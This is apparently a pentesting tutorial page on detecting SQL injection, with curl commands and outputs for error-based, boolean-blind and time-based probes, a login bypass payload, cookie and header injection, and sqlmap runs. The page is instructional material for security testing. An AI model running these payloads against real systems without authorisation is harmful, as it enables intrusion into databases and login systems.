Skip to content
HackIndex logo

HackIndex

SQL Injection Detection

3 min read Mar 28, 2026

SQL injection detection confirms whether user-supplied input is interpreted by a backend database. The goal here is to prove the condition exists and identify the injection type — not to extract data. Confirmed injection moves to SQL injection exploitation.

Target any parameter that likely hits a database: id, user, search, category, order, sort, page, filter. Parameters discovered during parameter crawling are your starting list.

Error-Based Detection

Inject a single quote and watch for database error messages in the response. An error proves the input reaches a SQL query without sanitization:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1'" | grep -iE 'sql|mysql|syntax|error|warning|ORA-|pg_'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1\"" | grep -iE 'sql|syntax|error|warning'

A MySQL syntax error is a confirmed injection point. Note the database type from the error message — it determines the payload syntax for exploitation. ORA- prefix means Oracle, pg_ means PostgreSQL.

Boolean-Based Blind Detection

When errors are suppressed, compare responses between a true and false condition. Different response sizes or content confirm blind SQLi:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=1" | wc -c
4823
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=2" | wc -c
612

Different response sizes for true versus false conditions confirms boolean-blind SQLi. The true condition returns the normal page while the false condition returns a shorter or empty page.

Time-Based Blind Detection

When no response difference is visible, inject a sleep and measure the delay. This works even when the application returns identical responses for all inputs:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND SLEEP(5)--"
real    0m5.123s
┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1; WAITFOR DELAY '0:0:5'--"

A 5-second delay matching the SLEEP parameter confirms time-based blind SQLi. SLEEP is MySQL syntax. WAITFOR DELAY is MSSQL. pg_sleep(5) is PostgreSQL. Try all three if the database type is unknown.

POST Parameter and Header Injection

SQLi is not limited to GET parameters. Test POST bodies, cookies, and HTTP headers:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/login -d "username=admin'--&password=anything" | grep -iE 'sql|syntax|error|welcome|dashboard'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/dashboard -H "Cookie: user_id=1'" | grep -iE 'sql|error|syntax'
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/ -H "X-Forwarded-For: 1'" | grep -iE 'sql|error|syntax'

Automated Detection with sqlmap

sqlmap automates all detection types. Use it for quick confirmation across multiple parameters:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --level=3 --risk=2
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --forms --crawl=2

References